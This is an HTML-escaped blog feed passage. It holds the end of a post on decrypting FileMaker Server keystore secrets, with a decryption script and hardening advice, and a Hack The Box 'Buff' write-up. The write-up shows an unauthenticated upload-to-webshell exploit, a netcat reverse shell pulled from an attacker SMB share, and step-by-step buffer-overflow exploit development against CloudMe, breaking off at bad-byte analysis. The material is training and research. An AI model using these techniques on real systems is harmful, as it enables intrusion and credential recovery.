&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;decoded_ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MODE_CBC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decoded_ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;unpad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;derive_key&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;secret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# the full secret string discovered in the last part&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;997&lt;/span&gt; &lt;span class="c1"&gt;# uid&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;fmserver&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# username&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;PBKDF2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hmac_hash_module&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;SHA1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# base64-encoded ciphertext from keystore&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;derive_key&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# null IV&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;plaintext: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="how-about-macos"&gt;How about macOS?&lt;/h2&gt;
&lt;p&gt;So far we&amp;rsquo;ve been working with a default Linux installation. To come to the same conclusion on macOS, you can use &lt;code&gt;lldb&lt;/code&gt; instead of &lt;code&gt;gdb&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To attach lldb to a running process, you will have to disable macOS&amp;rsquo; System Integrity Protection or remove the code signature first, though.&lt;/p&gt;
&lt;p&gt;The discovery process is more or less the same, although the syntax for &lt;code&gt;lldb&lt;/code&gt; is a bit different.&lt;/p&gt;
&lt;p&gt;After looking into it, I can tell you that the encryption/decryption process is the same, as is expected.&lt;/p&gt;
&lt;p&gt;Naturally, on macOS the username and user id that go into the key derivation could be different. For a default installation the full name of the user is &amp;ldquo;fmserver User&amp;rdquo;. For the derivation this string is concatenated to the actual username &amp;ldquo;fmserver&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;You can find out the full user info with the following command (change &lt;code&gt;fmserver&lt;/code&gt; for the username you run FMS under):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;dscacheutil -q user | grep &amp;#39;name: fmserver&amp;#39; -A6
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="how-about-windows"&gt;How about Windows?&lt;/h2&gt;
&lt;p&gt;I only had a brief look at Windows. It seems that the encryption/decryption process works a bit different here.&lt;/p&gt;
&lt;p&gt;I haven&amp;rsquo;t spent much time looking into this and wanted to write up my findings first. Maybe I&amp;rsquo;ll look into it in the future.&lt;/p&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I hope this post was helpful to you learning how FileMaker Server handles the secrets you decide to store on the machine.&lt;/p&gt;
&lt;p&gt;As we saw it&amp;rsquo;s not unfeasable to recover the plaintexts. While this is expected and &amp;ldquo;by design&amp;rdquo; as the server needs to do the same, you can now judge how easy or hard it is.&lt;/p&gt;
&lt;p&gt;I reported some things that could be improved or might be a bug to Claris and hope the keystore will be improved as a result.&lt;/p&gt;
&lt;p&gt;The decision for or against storing the EAR passwords really depends on your use-case. If uptime is very important and you need your databases to auto-open after a reboot, there&amp;rsquo;s no way around to storing them on disk (and I don&amp;rsquo;t think that&amp;rsquo;s an unreasonable decision – I have setups where I do the same).&lt;/p&gt;
&lt;p&gt;You may also look into restricting access to the &lt;code&gt;keystore&lt;/code&gt; file, i.e. remove permissions for &lt;code&gt;other&lt;/code&gt; (it seems the only user/group accessing it should be, by default, &lt;code&gt;fmserver&lt;/code&gt; and &lt;code&gt;fmsadmin&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Generally, with enough time and patience you will (at least theoretically) always get to some of the data if you have root access to the live server and the databases are opened. Having the original EAR password stored and the keystore file readable by everyone just makes it much easier.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Updates:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2023-05-31: Corrected the macOS section to include that you can remove the code signature instead of disabling SIP. Thanks, Alex.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Hack the Box Write-up #10: Buff</title><link>https://davidhamann.de/2020/11/21/htb-writeup-buff/</link><pubDate>Sat, 21 Nov 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/11/21/htb-writeup-buff/</guid><description>&lt;p&gt;This is a write-up of today&amp;rsquo;s retired &lt;a href="https://hackthebox.eu"&gt;Hack The Box&lt;/a&gt; machine &lt;em&gt;Buff&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Buff&lt;/em&gt; was a fun 20 point box that included exploitation of a known vulnerability in a gym management web app and a classic buffer overflow for getting an administrator shell.&lt;/p&gt;
&lt;p&gt;In my opinion doing this machine can also serve as a good practice if you plan on doing something like the OSCP or eCPPT certification and still need practice targets for the binary exploitation / buffer overflow part.&lt;/p&gt;
&lt;h2 id="recon-and-enumeration"&gt;Recon and enumeration&lt;/h2&gt;
&lt;p&gt;We start by scanning the box with a fast nmap scan:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nmap -F 10.10.10.198

Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-20 22:49 CET
Nmap scan report for 10.10.10.198
Host is up (0.099s latency).
Not shown: 99 filtered ports
PORT STATE SERVICE
8080/tcp open http-proxy
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We run an additional full port scan (&lt;code&gt;-p-&lt;/code&gt;) in the background and checkout the discovered port 8080 by browsing to it. We are greeted with some kind of fitness site:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Website on port 8080" loading="lazy" src="https://davidhamann.de/images/buff-gym.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Browsing through the pages, we find a note on &lt;code&gt;/contact.php&lt;/code&gt; that says: &amp;ldquo;Made using Gym Management Software 1.0&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Using this information, we run a &lt;code&gt;searchsploit &amp;quot;gym man&amp;quot;&lt;/code&gt; to look for known vulnerabilities:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;searchsploit &amp;#34;gym man&amp;#34;
------------------------------------------------------------------- ----------------------
 Exploit Title | Path
------------------------------------------------------------------- ----------------------
Gym Management System 1.0 - &amp;#39;id&amp;#39; SQL Injection | php/webapps/48936.txt
Gym Management System 1.0 - Authentication Bypass | php/webapps/48940.txt
Gym Management System 1.0 - Stored Cross Site Scripting | php/webapps/48941.txt
Gym Management System 1.0 - Unauthenticated Remote Code Execution | php/webapps/48506.py
------------------------------------------------------------------- ----------------------
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="exploiting-gym-management-software"&gt;Exploiting Gym Management Software&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Unauthenticated Remote Code Execution&lt;/code&gt; looks pretty good, so we&amp;rsquo;ll have a look at this one first (&lt;code&gt;searchsploit -x 48506&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;It essentially does a POST request to the &lt;code&gt;upload.php&lt;/code&gt; page (which does not check for a valid session) to send a file while bypassing the check for allowed file types (images). It is supposed to directly give you a webshell, but I find it often easier to just pipe the requests through a proxy and then modify the request as I see fit.&lt;/p&gt;
&lt;p&gt;So to let the requests go through Burp, we define a &lt;code&gt;proxies&lt;/code&gt; dictionary and pass it to the two requests (using the Python &lt;code&gt;requests&lt;/code&gt; module):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;proxies = { &amp;#39;http&amp;#39;: &amp;#39;http://127.0.0.1:8080&amp;#39; }
s.get(SERVER_URL, verify=False, proxies=proxies)
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The diff for completeness:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;81d80
&amp;lt; print header();
90c89,90
&amp;lt; s.get(SERVER_URL, verify=False)
---
&amp;gt; proxies = { &amp;#39;http&amp;#39;: &amp;#39;http://127.0.0.1:8080&amp;#39; }
&amp;gt; s.get(SERVER_URL, verify=False, proxies=proxies)
102c102
&amp;lt; r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)
---
&amp;gt; r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False, proxies=proxies)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now we can start the Burp interception proxy and run &lt;code&gt;python 48506_customized.py http://10.10.10.198:8080/&lt;/code&gt;. This will give us insight in the actual payload being used:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Intercepted payload" loading="lazy" src="https://davidhamann.de/images/buff_gym_intercept.png"&gt;&lt;/p&gt;
&lt;p&gt;Now that we know what the script would do, we can just send the request to the repeater tab, drop the original one and kill the script.&lt;/p&gt;
&lt;p&gt;In the repeater tab, we can make slight adjustments or just keep it as is – I change the file name for easier reference later on. When you do your own changes, make sure to keep the magic bytes intact:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Magic bytes" loading="lazy" src="https://davidhamann.de/images/buff_magic_bytes.png"&gt;&lt;/p&gt;
&lt;p&gt;After sending the request, we get code execution on the server by sending a GET to our previously uploaded webshell:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Code execution as shaun" loading="lazy" src="https://davidhamann.de/images/buff_first_code_exec.png"&gt;&lt;/p&gt;
&lt;p&gt;To get a proper shell, we can start an impacket smbserver and execute nc.exe directly from our attacker machine:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# launch smbserver
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py TMP $(pwd) -smb2support

# launch listener
nc -lvnp 80
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Execute nc.exe:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Executing nc.exe" loading="lazy" src="https://davidhamann.de/images/buff_nc.png"&gt;&lt;/p&gt;
&lt;h2 id="identifying-cloudme--the-potential-buff-target"&gt;Identifying CloudMe – The potential &amp;ldquo;Buff&amp;rdquo; target&lt;/h2&gt;
&lt;p&gt;Using our shell, we can start looking around in directories accessible to our user &lt;code&gt;shaun&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;Downloads&lt;/code&gt; we find a hint to a potentially installed software:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\shaun\Downloads&amp;gt;dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\shaun\Downloads

14/07/2020 12:27 &amp;lt;DIR&amp;gt; .
14/07/2020 12:27 &amp;lt;DIR&amp;gt; ..
16/06/2020 15:26 17,830,824 CloudMe_1112.exe
 1 File(s) 17,830,824 bytes
 2 Dir(s) 7,753,715,712 bytes free
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A quick check with &lt;code&gt;tasklist&lt;/code&gt; confirms &lt;em&gt;CloudMe.exe&lt;/em&gt; is running. Noting the PID, we can also cross-reference that it is listening on port 8888.&lt;/p&gt;
&lt;p&gt;Searching for known vulnerabilities, we quickly find a couple of exploits using &lt;code&gt;searchsploit cloudme&lt;/code&gt;. Let&amp;rsquo;s have a quick look at &lt;code&gt;48389.py&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It looks like a simple buffer overflow, so why not make our own one from scratch!?&lt;/p&gt;
&lt;h2 id="developing-the-exploit"&gt;Developing the Exploit&lt;/h2&gt;
&lt;p&gt;First, we need to get the binary to our machine. We can copy it using the smbserver from earlier:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\shaun\Downloads&amp;gt;copy CloudMe_1112.exe \\10.10.14.28\TMP\CloudMe_1112.exe
copy CloudMe_1112.exe \\10.10.14.28\TMP\CloudMe_1112.exe
 1 file(s) copied.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For good practice we can also compare the hash after transfer:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# on target
powershell.exe -c &amp;#34;Get-FileHash CloudMe_1112.exe&amp;#34;

# on attacker machine
shasum -a 256 CloudMe_1112.exe
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="running-the-app-locally"&gt;Running the app locally&lt;/h3&gt;
&lt;p&gt;Since the target system is a Windows 10 box, we should install CloudMe on a similar VM.&lt;/p&gt;
&lt;p&gt;If you want to follow along, make sure to also install &lt;a href="https://www.immunityinc.com/products/debugger/"&gt;Immunity Debugger&lt;/a&gt; and &lt;a href="https://github.com/corelan/mona"&gt;mona.py&lt;/a&gt; on the machine.&lt;/p&gt;
&lt;p&gt;After installation, we can run the app and check again with &lt;code&gt;netstat&lt;/code&gt; that it is listening on port 8888.&lt;/p&gt;
&lt;p&gt;Since it is only listening on the loopback address, we&amp;rsquo;re setting up a &lt;a href="https://davidhamann.de/2019/06/20/setting-up-portproxy-netsh/"&gt;portproxy&lt;/a&gt; on our local Windows VM to proxy 172.16.246.136:8888 (IP of my VM) to 127.0.0.1:8888.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;netsh interface portproxy add v4tov4 listenport=8888 listenaddress=172.16.246.136 connectport=8888 connectaddress=127.0.0.1
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="building-a-skeleton"&gt;Building a skeleton&lt;/h3&gt;
&lt;p&gt;The first thing we&amp;rsquo;re going to do is build a skeleton for our exploit. We will use Python and the built-in &lt;code&gt;socket&lt;/code&gt; module for creating a TCP socket for our connection.&lt;/p&gt;
&lt;p&gt;Something like this should do for now – a function to build the payload, and one to send it:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;import socket

HOST, PORT = &amp;#39;172.16.246.136&amp;#39;, 8888


def build(size):
 return b&amp;#39;A&amp;#39; * size


def send(payload):
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.settimeout(2)
 s.connect((HOST, PORT))
 s.send(payload)
 try:
 res = s.recv(1024)
 print(&amp;#39;Recv: &amp;#39;, res)
 except socket.timeout:
 print(&amp;#34;Boom!&amp;#34;)


if __name__ == &amp;#39;__main__&amp;#39;:
 payload = build(50)
 send(payload)
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="make-it-crash"&gt;Make it crash&lt;/h3&gt;
&lt;p&gt;To observe how the application is behaving when it receives inputs, we can now attach it to Immunity Debugger:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Attaching to the process" loading="lazy" src="https://davidhamann.de/images/buff_attach.jpg"&gt;&lt;/p&gt;
&lt;p&gt;We can now start to test out different payload sizes – either manually or by looping through a range of sizes until the program crashes.&lt;/p&gt;
&lt;p&gt;It also makes sense to test out sizes that are larger than the minimum size required to make it crash, just to see how many of the bytes are actually coming through and end up at a usable memory region.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s settle for a payload size of 2000 and keep it this way (changing the size while developing the exploit just introduces new variables and thus complicates things later on).&lt;/p&gt;
&lt;p&gt;We can see that CloudMe is crashing and also identify that our payload of &amp;ldquo;A&amp;quot;s has overriden the return address and popped an invalid address into the EIP register. Moreover, we can see that the stack pointer (ESP) points to an address where more of our &amp;ldquo;A&amp;quot;s landed.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Crash for payload size 2000" loading="lazy" src="https://davidhamann.de/images/buff_crash_2000.png"&gt;&lt;/p&gt;
&lt;p&gt;To identify the exact offset we need for overwriting the return address and confirm that ESP points to an address right below, we will now create a cyclic pattern of various 4-byte values and use those instead of our &amp;ldquo;A&amp;quot;s.&lt;/p&gt;
&lt;h3 id="identifying-the-offset"&gt;Identifying the offset&lt;/h3&gt;
&lt;p&gt;Right in Immunity Debugger, we can use &lt;code&gt;mona.py&lt;/code&gt;&amp;rsquo;s &lt;code&gt;pc&lt;/code&gt; (pattern create) function to generate a pattern of 2000 bytes:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;!mona pc 2000
Creating cyclic pattern of 2000 bytes
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The actual pattern will be written to the specified logfile.&lt;/p&gt;
&lt;p&gt;We can then copy the ASCII version of the pattern and put it into our exploit script&amp;rsquo;s &lt;code&gt;build&lt;/code&gt; function:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;def build(size):
 pattern = b&amp;#39;Aa0Aa1Aa2...&amp;#39;
 return pattern
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Restarting CloudMe and sending our new payload, we can see that we are now getting an access violation with a value of 316a4230 in EIP. To identify where these 4 bytes occur in our sent pattern, we can again use &lt;code&gt;mona.py&lt;/code&gt; to find out:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;!mona po 316a4230
[...]
 - Pattern 0Bj1 (0x316a4230) found in cyclic pattern at position 1052
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So we now know that we must send 1052 bytes of junk before we overwrite the return address. Going back to the crashed application, we can also see that ESP contains an address located exactly after the 316a4230 value.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Overwritten return address" loading="lazy" src="https://davidhamann.de/images/buff_eip.png"&gt;&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s clean up our exploit script and add the information we gained. We are putting in &amp;ldquo;B&amp;quot;s for the &amp;ldquo;address&amp;rdquo; we want to place into the EIP and fill up the rest of our space with &amp;ldquo;C&amp;quot;s (just for easier visual reference in the debugger). As mentioned earlier, we also want to make sure that we keep our payload size the same as before.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;def build(size, offset):
 junk = b&amp;#39;A&amp;#39; * offset
 eip = b&amp;#39;B&amp;#39; * 4
 shellcode = b&amp;#39;C&amp;#39; * (size - offset - len(eip))

 payload = junk + eip + shellcode
 assert len(payload) == size
 return payload
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Adjusting our call to &lt;code&gt;build&lt;/code&gt; to &lt;code&gt;payload = build(2000, 1052)&lt;/code&gt; and running the exploit again, we now see the in the debugger that our &amp;ldquo;B&amp;quot;s (hex 42) cleanly popped into EIP and that ESP points right at the beginning of our &amp;ldquo;C&amp;quot;s (hex 43).&lt;/p&gt;
&lt;p&gt;&lt;img alt="Cleanly overwritten return address" loading="lazy" src="https://davidhamann.de/images/buff_eip2.png"&gt;&lt;/p&gt;
&lt;h3 id="finding-a-suitable-jmp-esp"&gt;Finding a suitable JMP ESP&lt;/h3&gt;
&lt;p&gt;If we would find any instructions in the loaded modules that would directly or indirectly jump to ESP, we could use the address of the beginning of the instruction as our return address. Once EIP points to a JMP ESP instruction, we would essentially jump right back to the beginning of our &amp;ldquo;C&amp;quot;s. Requirement for all this is that we don&amp;rsquo;t have protection methods such as ASLR (Address Space Layout Randomization) in place.&lt;/p&gt;
&lt;p&gt;To find such an address, we can utilize &lt;code&gt;mona.py&lt;/code&gt; again.&lt;/p&gt;
&lt;p&gt;First, we find available modules without ASLR:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;!mona noaslr
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This shows us a couple of modules. Let&amp;rsquo;s look into these for JMP ESP (or similar) instructions:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;!mona jmp -r esp -m Qt5Core.dll
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We find a couple of results – let&amp;rsquo;s choose the first CALL ESP:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0x68d652e1 : call esp | {PAGE_EXECUTE_READ} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.9.0.0 (C:\Users\dh\AppData\Local\Programs\CloudMe\CloudMe\Qt5Core.dll)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Let&amp;rsquo;s add the address of the instruction to our exploit script (note that we reverse the byte order for little-endian). Additionally, we add opcode &lt;code&gt;\xcc&lt;/code&gt; (INT 3) where ESP will point so that the debugger will break when our &amp;ldquo;shellcode&amp;rdquo; is hit.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;def build(size, offset):
 junk = b&amp;#39;A&amp;#39; * offset
 eip = b&amp;#39;\xe1\x52\xd6\x68&amp;#39; # 0x68d652e1
 shellcode = b&amp;#39;\xcc&amp;#39; * 4
 junk2 = b&amp;#39;C&amp;#39; * (size - offset - len(eip) - len(shellcode))

 payload = junk + eip + shellcode + junk2
 assert len(payload) == size
 return payload
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Sending the payload again and observing the debugger, we can see that we&amp;rsquo;re again a little bit closer to controlling the program. The debugger paused as it hit our INT3 instruction.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Hitting SIGTRAP" loading="lazy" src="https://davidhamann.de/images/buff_sigtrap.png"&gt;&lt;/p&gt;
&lt;h3 id="finding-the-bad-bytes"&gt;Finding the &amp;ldquo;bad bytes&amp;rdquo;&lt;/h3&gt;
